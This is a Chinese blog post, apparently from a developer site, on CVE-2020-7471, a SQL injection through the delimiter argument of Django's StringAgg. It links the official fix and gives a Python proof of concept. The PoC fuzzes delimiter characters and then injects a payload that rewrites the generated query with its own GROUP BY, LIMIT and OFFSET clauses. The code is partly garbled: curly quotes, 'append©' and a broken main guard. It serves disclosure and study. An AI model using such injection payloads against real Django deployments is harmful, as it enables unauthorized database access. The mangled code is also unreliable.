CVE-2020-7471 Potential SQL injection via StringAgg(delimiter)附poc

漏洞原因
在这里插入图片描述
漏洞的核心是 StringAgg 聚合函数的 delimiter 参数存在 SQL 注入漏洞

官方修复
https://github.com/django/django/commit/eb31d845323618d688ad429479c6dda973056136

poc如下:

encoding:utf-8

import os
import django
os.environ.setdefault(“DJANGO_SETTINGS_MODULE”, “sqlvul_project.settings”)

Django 版本大于等于1.7的时候,需要加上下面两句

if django.VERSION >= (1, 7):#自动判断版本
django.setup()
from vul_app.models import Info
from django.contrib.postgres.aggregates import StringAgg
from django.db.models import Count
“”"
postgres 预先执行的SQL
CREATE DATABASE test;
\c test;
\d 列出当前数据库的所有表格
“”"
def initdb():
data = [(‘li’,‘male’),(‘zhao’,‘male’),(‘zhang’,‘female’)]
for name,gender in data:
Info.objects.get_or_create(name=name,gender=gender)
def query():
# FUZZ delimiter
error_c = []
other_error_c = []
for c in "!@#$%^&()_+=-|\"’:;?/>.<,{}[]":
results = Info.objects.all().values(‘gender’).annotate(mydefinedname=StringAgg(‘name’,delimiter=c))
try:
for e in results:
pass
except IndexError:
error_c.append©
except:
other_error_c.append©
print(error_c)
print(other_error_c)
def query_with_evil():
‘’’
注入点证明
分别设置delimiter为 单引号 二个单引号 二个双引号
尝试注释后面的内容 ‘)–
:return:
‘’’
print("[+]正常的输出:")
payload = ‘-’
results = Info.objects.all().values(‘gender’).annotate(mydefinedname=StringAgg(‘name’, delimiter=payload))
for e in results:
print(e)
print("[+]注入后的的输出:")
payload = ‘-’) AS “mydefinedname” FROM “vul_app_info” GROUP BY “vul_app_info”.“gender” LIMIT 1 OFFSET 1 – ’
results = Info.objects.all().values(‘gender’).annotate(mydefinedname=StringAgg(‘name’, delimiter=payload))
for e in results:
print(e)
if name == ‘main’:
print(django.VERSION) # 测试版本 3.0.2
initdb()
query()
query_with_evil()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

水到渠成~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值